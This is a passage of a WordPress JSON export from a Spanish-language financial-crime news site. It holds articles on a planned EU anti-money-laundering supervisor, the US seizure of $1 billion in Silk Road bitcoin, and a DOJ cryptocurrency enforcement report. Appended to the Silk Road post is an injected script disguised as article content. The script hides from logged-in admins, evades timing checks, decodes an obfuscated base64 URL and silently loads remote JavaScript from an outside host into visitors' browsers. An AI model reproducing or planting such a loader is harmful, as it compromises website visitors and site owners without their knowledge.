y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 